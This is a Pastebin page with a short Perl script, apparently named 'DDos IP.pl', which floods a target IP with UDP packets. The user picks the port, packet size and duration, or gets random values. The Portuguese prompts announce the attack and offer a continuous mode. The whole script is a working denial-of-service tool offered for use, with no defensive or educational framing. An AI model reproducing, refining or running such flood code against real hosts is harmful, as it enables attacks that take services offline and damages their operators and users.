Advertisement
TP2K1

DDos IP.pl [Perl]

Jun 24th, 2015
1,012
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.05 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ########################
  4. # C0ded By : TP2K1 #
  5. ########################
  6.  
  7. use LWP::UserAgent;
  8. use URI::Escape;
  9. use HTTP::Request;
  10. use Term::ANSIColor;
  11. my $ua = LWP::UserAgent->new();
  12. $ua->timeout(7);
  13.  
  14. system "cls";
  15. print color("red"), q{
  16.  
  17. ██████╗ ██████╗ ██████╗ ███████╗ ██╗██████╗
  18. ██╔══██╗██╔══██╗██╔═══██╗██╔════╝ ██║██╔══██╗
  19. ██║ ██║██║ ██║██║ ██║███████╗ ██║██████╔╝
  20. ██║ ██║██║ ██║██║ ██║╚════██║ ██║██╔═══╝
  21. ██████╔╝██████╔╝╚██████╔╝███████║ ██║██║
  22. ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═╝╚═╝
  23.  
  24.  
  25.  
  26. },color("reset");
  27.  
  28. use Socket;
  29. use strict;
  30.  
  31. if ($#ARGV != 3) {
  32. print "flood.pl [IP] [Porta] [Pacotes] [Tempo]\n\n";
  33. print " Porta = 0: Usar Portas aleatorias\n";
  34. print " Pacotes = 0: Usar entre 64 e 1024 Pacotes aleatorios\n";
  35. print " Tempo = 0: Ataque continuo\n";
  36. exit(1);
  37. }
  38.  
  39. my ($ip,$port,$size,$time) = @ARGV;
  40.  
  41. my ($iaddr,$endtime,$psize,$pport);
  42.  
  43. $iaddr = inet_aton("$ip") or die "IP inválido: $ip\n";
  44. $endtime = time() + ($time ? $time : 1000000);
  45.  
  46. socket(flood, PF_INET, SOCK_DGRAM, 17);
  47.  
  48.  
  49. print "Atacando o IP e Porta $ip " . ($port ? $port : "random") . " com " .
  50. ($size ? "$size-bytes" : "random size") . " de pacotes" .
  51. ($time ? " por $time segundos" : "") . "\n";
  52. print "Pare o ataque pressionando Ctrl + C\n" unless $time;
  53.  
  54. for (;time() <= $endtime;) {
  55. $psize = $size ? $size : int(rand(1024-64)+64) ;
  56. $pport = $port ? $port : int(rand(65500))+1;
  57.  
  58. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement